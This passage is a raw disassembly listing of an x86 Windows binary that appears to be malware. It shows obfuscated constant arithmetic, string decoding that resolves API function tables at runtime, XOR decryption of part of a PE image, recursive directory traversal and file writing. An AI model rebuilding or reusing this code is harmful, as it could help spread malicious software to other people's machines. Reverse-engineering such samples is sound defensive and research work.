push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] push ebx call ds:dword_448000 mov edi, eax mov eax, dword_551188 add eax, dword_5511E4 sub eax, 9 push eax mov eax, dword_5510B8 add eax, dword_551224 sub eax, 5 push eax mov eax, dword_551160 add eax, 1FF7h movsx edx, word_551148 add eax, edx push eax push esi push edi push ebx movsx eax, word_5510C4 sub eax, 6 push eax push 0 call ds:dword_448010 mov eax, dword_551114 movsx edx, word_551198 add eax, edx sub eax, 2 mov [esi+edi], al mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_43DBFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DC76 proc near ; CODE XREF: sub_43D76D+27Cp ; sub_446ED7:loc_446F1Cp var_108 = dword ptr -108h var_104 = dword ptr -104h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 108h push esi push edi mov edi, dword_551188 inc edi movsx eax, word_5510A8 add edi, eax jmp short loc_43DD04 ; --------------------------------------------------------------------------- loc_43DC93: ; CODE XREF: sub_43DC76+A1j push offset byte_5527CD call sub_43CAF7 mov [ebp+var_108], eax push offset byte_5527C3 call sub_43CAF7 push edi push eax mov esi, [ebp+var_108] push esi lea esi, [ebp+var_FF] push esi call ds:dword_50E928 add esp, 18h lea eax, [ebp+var_FF] push eax push 0 push 100000h call ds:dword_4CD938 mov [ebp+var_104], eax or eax, eax jz short loc_43DD03 push eax call ds:dword_4CD948 movsx eax, word_551128 inc eax cmp edi, eax jnz short loc_43DCFC xor eax, eax inc eax jmp short loc_43DD1F ; --------------------------------------------------------------------------- loc_43DCFC: ; CODE XREF: sub_43DC76+7Fj mov eax, 2 jmp short loc_43DD1F ; --------------------------------------------------------------------------- loc_43DD03: ; CODE XREF: sub_43DC76+6Cj inc edi loc_43DD04: ; CODE XREF: sub_43DC76+1Bj mov eax, dword_551110 add eax, 5Bh movsx edx, word_551104 add eax, edx cmp edi, eax jb loc_43DC93 xor eax, eax loc_43DD1F: ; CODE XREF: sub_43DC76+84j ; sub_43DC76+8Bj pop edi pop esi leave retn sub_43DC76 endp ; =============== S U B R O U T I N E ======================================= sub_43DD23 proc near ; CODE XREF: sub_446ED7+Cp push edi push offset asc_5527B4 ; "\v" call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_55127C, eax mov eax, dword_5510EC movsx edx, word_551164 add eax, edx sub eax, 2 cmp dword_55127C, eax jnz short loc_43DD6B push offset byte_5527A5 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_55127C, eax loc_43DD6B: ; CODE XREF: sub_43DD23+2Fj push offset byte_55278D call sub_43CAF7 pop ecx push eax push dword_55127C call ds:dword_44B1AC mov ds:dword_449FC4, eax pop edi retn sub_43DD23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DD8A proc near ; CODE XREF: sub_446250+572p ; DATA XREF: sub_443843+ECo var_10A = byte ptr -10Ah var_104 = byte ptr -104h var_FF = byte ptr -0FFh arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 104h push edi mov eax, dword_5510A4 add eax, dword_5511B4 mov dl, [ebp+arg_0] mov [ebp+eax+var_10A], dl mov eax, dword_5511E0 sub eax, 4 push eax push 80h push 4 mov eax, dword_551178 sub eax, 9 push eax mov eax, dword_55124C movsx edx, word_551208 add eax, edx sub eax, 0Ah push eax push 40000000h push offset dword_4CC230 call ds:dword_54FB18 mov edi, eax movsx eax, word_5511C4 add eax, dword_551170 sub eax, 0Ch push eax lea eax, [ebp+var_104] push eax mov eax, dword_551178 sub eax, 8 push eax lea eax, [ebp+var_FF] push eax push edi call ds:dword_54FF1C push edi call ds:dword_4CD948 pop edi leave retn sub_43DD8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_43DE1F proc near ; DATA XREF: sub_445B7F+1AAo var_A = byte ptr -0Ah arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov edi, [ebp+arg_0] push offset sub_443207 push dword ptr fs:0 mov fs:0, esp push offset byte_552785 call sub_43CAF7 push dword ptr [edi] push eax lea esi, [ebp+var_A] push esi call ds:dword_50E928 add esp, 10h loc_43DE55: ; CODE XREF: sub_43DE1F+5Dj push 0 push dword ptr [edi] lea eax, [ebp+var_A] push eax call sub_44077A movsx eax, word_551190 add eax, dword_5510B8 sub eax, 0Ch push eax call ds:dword_50E924 add esp, 10h jmp short loc_43DE55 sub_43DE1F endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DE84 proc near ; CODE XREF: sub_43DE84+20Ep ; sub_43DE84+27Cp ... var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = word ptr -258h var_256 = word ptr -256h var_252 = word ptr -252h var_250 = word ptr -250h var_24E = word ptr -24Eh var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_18 = byte ptr 20h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi xor ebx, ebx inc ebx push offset byte_55277D call sub_43CAF7 push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50E928 add esp, 10h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CC228 mov [ebp+var_248], eax movsx eax, word_551194 neg eax cmp [ebp+var_248], eax jnz loc_43E046 lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_8] push eax call ds:dword_54FB10 mov [ebp+var_260], eax movsx eax, word_551094 movsx edx, word_5510D0 add eax, edx sub eax, 8 cmp [ebp+var_260], eax jle short loc_43DF1C lea edi, [ebp+var_268] lea esi, [ebp+arg_18] movsd movsd jmp short loc_43DF27 ; --------------------------------------------------------------------------- loc_43DF1C: ; CODE XREF: sub_43DE84+89j lea edi, [ebp+var_268] lea esi, [ebp+arg_8] movsd movsd loc_43DF27: ; CODE XREF: sub_43DE84+96j lea eax, [ebp+var_258] push eax lea eax, [ebp+var_268] push eax call ds:dword_54EA78 mov eax, dword_551158 movzx edx, [ebp+var_24E] movzx ecx, [ebp+var_250] mov esi, dword_55120C lea esi, [eax+esi+35h] imul ecx, esi add edx, ecx movzx ecx, [ebp+var_252] mov esi, dword_5511F8 add esi, 15h imul ecx, esi mov esi, dword_55115C add esi, 38h imul ecx, esi add edx, ecx movzx ecx, [ebp+var_256] mov esi, dword_551098 add esi, 15h imul ecx, esi movsx esi, word_5511C4 mov edi, dword_5511B0 lea esi, [esi+edi+9] imul ecx, esi mov esi, dword_55114C add esi, 35h movsx edi, word_551128 add esi, edi imul ecx, esi add edx, ecx movzx ecx, [ebp+var_258] mov esi, dword_5510E0 movsx edi, word_55109C add esi, edi imul ecx, esi movsx esi, word_5510B4 add esi, 19h imul ecx, esi mov esi, dword_5510B8 add esi, 11h add esi, eax mov eax, ecx imul eax, esi movsx ecx, word_5511E8 mov esi, dword_55117C lea ecx, [ecx+esi+2Eh] imul eax, ecx add edx, eax mov [ebp+var_25C], edx mov eax, edx mov edx, ds:dword_448030 cmp eax, edx ja loc_43E10F sub edx, eax mov eax, dword_5510B8 add eax, 10DCh cmp edx, eax jbe loc_43E10F push [ebp+arg_0] call ds:dword_44800C mov [ebp+var_26C], eax jmp loc_43E10F ; --------------------------------------------------------------------------- loc_43E046: ; CODE XREF: sub_43DE84+56j cmp [ebp+var_112], 2Eh jz loc_43E10B push offset dword_552774 call sub_43CAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50E928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43DE84 add esp, 158h jmp short loc_43E10B ; --------------------------------------------------------------------------- loc_43E09F: ; CODE XREF: sub_43DE84+289j lea eax, [ebp+var_13E] push eax push [ebp+var_248] call ds:dword_449FC8 mov ebx, eax or ebx, ebx jz short loc_43E10F cmp [ebp+var_112], 2Eh jz short loc_43E10B push offset byte_55276B call sub_43CAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50E928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43DE84 add esp, 158h loc_43E10B: ; CODE XREF: sub_43DE84+1C9j ; sub_43DE84+219j ... or ebx, ebx jnz short loc_43E09F loc_43E10F: ; CODE XREF: sub_43DE84+194j ; sub_43DE84+1A8j ... pop edi pop esi pop ebx leave retn sub_43DE84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E114 proc near ; CODE XREF: sub_43EDC6:loc_43EDC9p var_252 = byte ptr -252h var_236 = dword ptr -236h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 254h push ebx push esi push edi lea eax, [ebp+var_114] push eax mov eax, dword_5510C0 add eax, dword_55118C sub eax, 3 push eax mov eax, dword_5511E4 sub eax, 4 push eax push 20h mov eax, dword_55114C movsx edx, word_5510D0 add eax, edx sub eax, 8 push eax call ds:dword_48BA00 lea eax, [ebp+var_10] push eax call ds:dword_4CC430 mov eax, dword_551214 movzx edx, [ebp+var_6] movzx ecx, [ebp+var_8] mov ebx, dword_55117C add ebx, 35h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_A] movsx ebx, word_551144 add ebx, 14h imul ecx, ebx mov ebx, dword_551124 add ebx, 37h movsx esi, word_551138 add ebx, esi imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_E] mov ebx, dword_551178 add ebx, 15h imul ecx, ebx mov ebx, dword_5511F4 add ebx, 0Fh imul ecx, ebx mov ebx, dword_551214 add ebx, 39h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_10] mov ebx, dword_55121C add ebx, 5 add ebx, dword_5510A0 imul ecx, ebx mov ebx, dword_551184 lea eax, [eax+ebx+17h] imul ecx, eax movsx eax, word_551210 movsx ebx, word_5510F4 lea eax, [eax+ebx+11h] imul ecx, eax mov eax, dword_5510E0 add eax, 35h movsx ebx, word_551194 add eax, ebx imul ecx, eax mov eax, edx add eax, ecx mov ds:dword_448030, eax mov eax, dword_551134 add eax, dword_5511A0 sub eax, 9 mov [ebp+var_236], eax lea esi, [ebp+var_252] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_114] push edi call sub_43FB03 add esp, 144h pop edi pop esi pop ebx leave retn sub_43E114 endp ; =============== S U B R O U T I N E ======================================= sub_43E266 proc near ; DATA XREF: sub_443207+7o mov eax, dword_551154 add eax, dword_5511E4 sub eax, 0Bh push eax call ds:dword_54E960 retn sub_43E266 endp ; =============== S U B R O U T I N E ======================================= sub_43E27C proc near ; DATA XREF: .data:00551300o mov eax, 80004001h retn 18h sub_43E27C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E284 proc near ; CODE XREF: sub_44726D+171p var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1000h call sub_4475B4 push ebx push esi push edi mov eax, dword_5511AC add eax, dword_551154 sub eax, 0Ah push eax lea eax, [ebp+var_FFF] push eax call sub_43F090 add esp, 8 mov edi, dword_5511C8 sub edi, 8 jmp short loc_43E2D7 ; --------------------------------------------------------------------------- loc_43E2BD: ; CODE XREF: sub_43E284+59j cmp [ebp+edi+var_FFF], 23h jnz short loc_43E2D6 movsx eax, word_551198 dec eax mov [ebp+edi+var_FFF], al loc_43E2D6: ; CODE XREF: sub_43E284+41j inc edi loc_43E2D7: ; CODE XREF: sub_43E284+37j cmp edi, 0FFFh jb short loc_43E2BD lea esi, [ebp+var_FFF] loc_43E2E5: ; CODE XREF: sub_43E284+108j push offset byte_552767 call sub_43CAF7 push offset dword_449FE0 movsx ebx, word_5510C4 sub ebx, 6 push ebx mov ebx, dword_551108 movsx edx, word_551194 add ebx, edx sub ebx, 9 push ebx push eax movsx ebx, word_5510D0 add ebx, dword_55124C sub ebx, 0Fh push ebx mov ebx, dword_551224 add ebx, dword_5511D8 sub ebx, 5 push ebx push esi push [ebp+arg_0] mov ebx, dword_5511D0 add ebx, dword_551154 sub ebx, 0Dh and ebx, 0FFh push ebx call sub_442B82 add esp, 28h mov ecx, esi or eax, 0FFFFFFFFh loc_43E35B: ; CODE XREF: sub_43E284+DCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43E35B movsx edx, word_551094 sub edx, 1 mov ebx, eax add ebx, esi mov esi, edx add esi, ebx movsx eax, byte ptr [esi] movsx edx, word_551218 movsx ecx, word_551128 add edx, ecx sub edx, 5 cmp eax, edx jnz loc_43E2E5 pop edi pop esi pop ebx leave retn sub_43E284 endp ; =============== S U B R O U T I N E ======================================= sub_43E397 proc near ; CODE XREF: sub_43D76D+277p push edi push offset byte_552759 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551258, eax mov eax, dword_551200 sub eax, 5 cmp dword_551258, eax jnz short loc_43E3D6 push offset asc_55274B ; "\n" call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551258, eax loc_43E3D6: ; CODE XREF: sub_43E397+26j push offset byte_552741 call sub_43CAF7 push eax call sub_444923 mov ds:dword_4CD934, eax push offset byte_552737 call sub_43CAF7 push eax call sub_444923 mov ds:dword_44B1A4, eax push offset byte_55272D call sub_43CAF7 push eax call sub_444923 mov ds:dword_50E940, eax push offset byte_552725 call sub_43CAF7 push eax call sub_444923 mov ds:dword_550040, eax push offset byte_55271D call sub_43CAF7 push eax call sub_444923 mov ds:dword_48B9F0, eax push offset byte_552713 call sub_43CAF7 push eax call sub_444923 mov ds:dword_50E924, eax push offset word_55270A call sub_43CAF7 push eax call sub_444923 mov ds:dword_4CE8F0, eax push offset dword_552700 call sub_43CAF7 push eax call sub_444923 mov ds:dword_48B9E0, eax push offset dword_5526F8 call sub_43CAF7 push eax call sub_444923 mov ds:dword_44901C, eax push offset asc_5526ED ; "\a" call sub_43CAF7 push eax call sub_444923 mov ds:dword_44803C, eax push offset word_5526E2 call sub_43CAF7 push eax call sub_444923 mov ds:dword_50E928, eax push offset word_5526D6 call sub_43CAF7 push eax call sub_444923 mov ds:dword_4CC21C, eax push offset dword_5526CC call sub_43CAF7 push eax call sub_444923 mov ds:dword_4CD814, eax push offset word_5526C2 call sub_43CAF7 push eax call sub_444923 add esp, 70h mov ds:dword_44802C, eax pop edi retn sub_43E397 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E501 proc near ; CODE XREF: sub_446250:loc_4467CAp ; sub_446ED7+349p var_445 = byte ptr -445h var_341 = byte ptr -341h var_23D = byte ptr -23Dh var_13E = byte ptr -13Eh var_112 = byte ptr -112h push ebp mov ebp, esp sub esp, 448h push ebx push esi push edi lea eax, [ebp+var_341] push eax mov eax, dword_5511AC add eax, dword_5510F0 sub eax, 5 push eax mov eax, dword_551220 sub eax, 2 push eax push 1Ch movsx eax, word_5510C4 add eax, dword_5511C8 sub eax, 0Eh push eax call ds:dword_48BA00 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_445] push eax call ds:dword_44B1A4 push offset asc_5526B7 ; "\a" call sub_43CAF7 push eax lea edx, [ebp+var_445] push edx call ds:dword_44802C add esp, 14h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_445] push eax call ds:dword_4CC228 mov ebx, eax mov eax, dword_551230 neg eax cmp ebx, eax jz loc_43E64D lea eax, [ebp+var_112] push eax lea eax, [ebp+var_341] push eax call sub_442408 add esp, 8 xor esi, esi inc esi loc_43E5B2: ; CODE XREF: sub_43E501+E6j lea eax, [ebp+var_13E] push eax push ebx call ds:dword_449FC8 mov esi, eax or esi, esi jnz short loc_43E5CF push ebx call ds:dword_44B5BC jmp short loc_43E5E9 ; --------------------------------------------------------------------------- loc_43E5CF: ; CODE XREF: sub_43E501+C3j lea eax, [ebp+var_112] push eax lea eax, [ebp+var_341] push eax call sub_442408 add esp, 8 or esi, esi jnz short loc_43E5B2 loc_43E5E9: ; CODE XREF: sub_43E501+CCj movsx eax, word_5511A8 mov edx, dword_551174 sub edx, 7 mov ds:byte_54EB10[eax], dl movsx edi, word_5510A8 jmp short loc_43E645 ; --------------------------------------------------------------------------- loc_43E609: ; CODE XREF: sub_43E501+14Aj push offset byte_5526AD call sub_43CAF7 push ds:dword_4CE920[edi*4] push ds:dword_48C220[edi*4] push eax lea edx, [ebp+var_23D] push edx call ds:dword_50E928 lea eax, [ebp+var_23D] push eax push offset byte_54EB10 call ds:dword_44802C add esp, 1Ch inc edi loc_43E645: ; CODE XREF: sub_43E501+106j cmp edi, dword_5512A4 jb short loc_43E609 loc_43E64D: ; CODE XREF: sub_43E501+92j pop edi pop esi pop ebx leave retn sub_43E501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E652 proc near ; DATA XREF: .data:00551304o var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax movsx eax, word_551104 mov edx, dword_551110 lea eax, [eax+edx+0BFh] cmp [ebp+arg_4], eax jnz loc_43E78F mov [ebp+var_18], 3 lea eax, [ebp+var_10] push eax mov eax, dword_5512E8 push eax mov edi, [eax] call dword ptr [edi+1Ch] mov [ebp+var_4], eax mov eax, dword_5510E4 add eax, dword_5511AC sub eax, 7 cmp [ebp+var_4], eax jnz loc_43E78B dec [ebp+var_10] lea eax, [ebp+var_1C] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, dword_5512E8 push edi mov edi, [edi] call dword ptr [edi+20h] mov [ebp+var_4], eax movsx eax, word_5510B4 add eax, dword_5511F8 sub eax, 8 cmp [ebp+var_4], eax jnz loc_43E78B lea eax, [ebp+var_20] push eax push offset dword_552AA8 mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax mov eax, dword_5510F0 sub eax, 3 cmp [ebp+var_4], eax jnz short loc_43E782 lea eax, off_5512E4 mov [ebp+var_8], eax push eax mov ebx, [eax] call dword ptr [ebx+4] lea eax, [ebp+var_24] push eax push offset dword_5529E8 mov eax, [ebp+var_8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax mov eax, dword_551120 add eax, dword_551090 sub eax, 0Ch cmp [ebp+var_4], eax jnz short loc_43E770 lea eax, [ebp+var_2C] push eax push offset dword_5529E8 push [ebp+var_24] push [ebp+var_20] call sub_43F748 add esp, 10h mov [ebp+var_28], eax mov eax, [ebp+var_24] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43E770: ; CODE XREF: sub_43E652+F9j mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, [ebp+var_20] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43E782: ; CODE XREF: sub_43E652+BEj mov eax, [ebp+var_1C] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43E78B: ; CODE XREF: sub_43E652+56j ; sub_43E652+94j xor eax, eax jmp short loc_43E794 ; --------------------------------------------------------------------------- loc_43E78F: ; CODE XREF: sub_43E652+27j mov eax, 80020003h loc_43E794: ; CODE XREF: sub_43E652+13Bj pop edi pop esi pop ebx leave retn 24h sub_43E652 endp ; =============== S U B R O U T I N E ======================================= sub_43E79B proc near ; DATA XREF: .data:005512B4o mov eax, 80004001h retn 8 sub_43E79B endp ; =============== S U B R O U T I N E ======================================= sub_43E7A3 proc near ; CODE XREF: sub_43D76D+272p push offset byte_552697 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_48C214, eax push offset byte_552689 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_48B9EC, eax push offset dword_55267C call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B5BC, eax push offset dword_55266C call sub_43CAF7 push eax call sub_43F730 mov ds:dword_449FC0, eax push offset byte_55265D call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44800C, eax push offset byte_552647 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CD818, eax push offset dword_552630 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_50E920, eax push offset byte_552623 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B5CC, eax push offset dword_55260C call sub_43CAF7 push eax call sub_43F730 mov ds:dword_50E934, eax push offset byte_5525F7 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54E94C, eax push offset dword_5525E4 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FB10, eax push offset byte_5525CD call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448010, eax push offset byte_5525C1 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448034, eax push offset dword_5525A8 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CE900, eax push offset byte_55259B call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CC544, eax push offset word_55258A call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FF28, eax push offset word_552572 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54EA78, eax push offset word_55255A call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448014, eax push offset word_55254A call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CE908, eax push offset dword_552538 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CC228, eax push offset byte_55251D call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CD944, eax push offset asc_55250E ; "\v" call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FF2C, eax push offset word_5524FA call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448040, eax push offset word_5524EA call sub_43CAF7 push eax call sub_43F730 mov ds:dword_48C21C, eax push offset byte_5524DB call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FB1C, eax push offset asc_5524CC ; "\v" call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CE910, eax push (offset asc_5524BC+2) call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CD938, eax push offset byte_5524AF call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FB18, eax push offset dword_5524A0 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CD810, eax push offset dword_55248C call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B598, eax push offset dword_55247C call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54EA70, eax push offset asc_55246B ; "\r" call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CC430, eax push offset word_55245A call sub_43CAF7 push eax call sub_43F730 mov ds:dword_449FC8, eax push offset word_552442 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_48B9F8, eax push offset asc_552434 ; "\n" call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54E960, eax push offset byte_552429 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B094, eax push offset dword_552418 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448038, eax push offset dword_552408 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_48C218, eax push offset word_5523F6 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FF30, eax push offset asc_5523E7 ; "\v" call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CD948, eax push offset word_5523D6 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54E964, eax push offset dword_5523C4 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B5A8, eax push offset dword_5523B8 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448000, eax push offset dword_5523A8 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_448044, eax push offset byte_552391 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B5B0, eax push offset byte_552377 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_4CE918, eax push offset word_552362 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_44B088, eax push offset byte_552355 call sub_43CAF7 push eax call sub_43F730 mov ds:dword_54FF1C, eax push offset word_55233E call sub_43CAF7 push eax call sub_43F730 add esp, 188h mov ds:dword_48B9F4, eax retn sub_43E7A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EBAF proc near ; CODE XREF: sub_443843+18Bp ; sub_443843+195p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax mov eax, dword_5510C8 add eax, dword_551140 sub eax, 2 push eax push dword_551180 push [ebp+arg_0] movsx eax, word_5510D0 add eax, dword_55123C sub eax, 6 push eax mov eax, dword_5511B0 sub eax, 7 push eax call ds:dword_54FF20 push eax call ds:dword_4CD948 leave retn sub_43EBAF endp ; =============== S U B R O U T I N E ======================================= sub_43EBF8 proc near ; CODE XREF: sub_446ED7+34p push edi push offset byte_55232F call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551280, eax mov eax, dword_5511E4 sub eax, 4 cmp dword_551280, eax jnz short loc_43EC37 push offset dword_552320 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551280, eax loc_43EC37: ; CODE XREF: sub_43EBF8+26j push offset word_55230A call sub_43CAF7 pop ecx push eax push dword_551280 call ds:dword_44B1AC mov ds:dword_448028, eax pop edi retn sub_43EBF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EC56 proc near ; CODE XREF: sub_446ED7+2D3p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov eax, [ebp+arg_0] mov esi, [eax+3Ch] mov ecx, esi add ecx, eax mov eax, [ecx+28h] mov edx, [ebp+arg_0] lea esi, [eax+edx+0Dh] movzx eax, byte ptr [esi+1] mov edx, dword_551134 add edx, 1FEh mov ebx, eax imul ebx, edx movzx eax, byte ptr [esi] xor eax, 4Dh mov [ebp+var_1], al mov ecx, dword_551150 sub ecx, 2 jmp short loc_43ECA7 ; --------------------------------------------------------------------------- loc_43EC99: ; CODE XREF: sub_43EC56+53j movzx eax, byte ptr [esi+ecx] movzx edx, [ebp+var_1] xor eax, edx mov [esi+ecx], al inc ecx loc_43ECA7: ; CODE XREF: sub_43EC56+41j cmp ecx, ebx jb short loc_43EC99 mov eax, [ebp+arg_4] mov [eax], ebx mov eax, esi pop esi pop ebx leave retn sub_43EC56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ECB6 proc near ; CODE XREF: sub_443843+43p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push edi mov edi, [ebp+arg_0] push 104h lea eax, [ebp+var_108] push eax call ds:dword_44B5B0 movsx eax, word_551128 mov edx, dword_551178 add edx, dword_5510B0 sub edx, 0Eh mov byte ptr [ebp+eax+var_10C+2], dl push 104h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] push eax push 104h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_108] push eax call ds:dword_4CE900 push offset word_552302 call sub_43CAF7 push [ebp+var_10C] push eax push edi call ds:dword_50E928 add esp, 10h movsx eax, word_551240 sub eax, 8 mov [ebp+var_4], eax jmp short loc_43ED7F ; --------------------------------------------------------------------------- loc_43ED50: ; CODE XREF: sub_43ECB6+D4j mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 41h jl short loc_43ED66 cmp al, 5Ah jg short loc_43ED66 mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 20h loc_43ED66: ; CODE XREF: sub_43ECB6+A2j ; sub_43ECB6+A6j mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 30h jl short loc_43ED7C cmp al, 39h jg short loc_43ED7C mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 31h loc_43ED7C: ; CODE XREF: sub_43ECB6+B8j ; sub_43ECB6+BCj inc [ebp+var_4] loc_43ED7F: ; CODE XREF: sub_43ECB6+98j mov eax, dword_551170 add eax, 4 cmp [ebp+var_4], eax jb short loc_43ED50 pop edi leave retn sub_43ECB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ED8F proc near ; CODE XREF: sub_441052+3DAp ; sub_441052+438p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, esi xor eax, [ebp+arg_8] xor eax, [ebp+arg_C] mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43F3EA add esp, 8 mov edi, eax add edi, esi mov eax, edi pop edi pop esi pop ebp retn sub_43ED8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_43EDC6 proc near ; DATA XREF: sub_443843+186o push ebp mov ebp, esp loc_43EDC9: ; CODE XREF: sub_43EDC6+2Dj call sub_43E114 mov eax, dword_5511A0 add eax, dword_5510E8 sub eax, 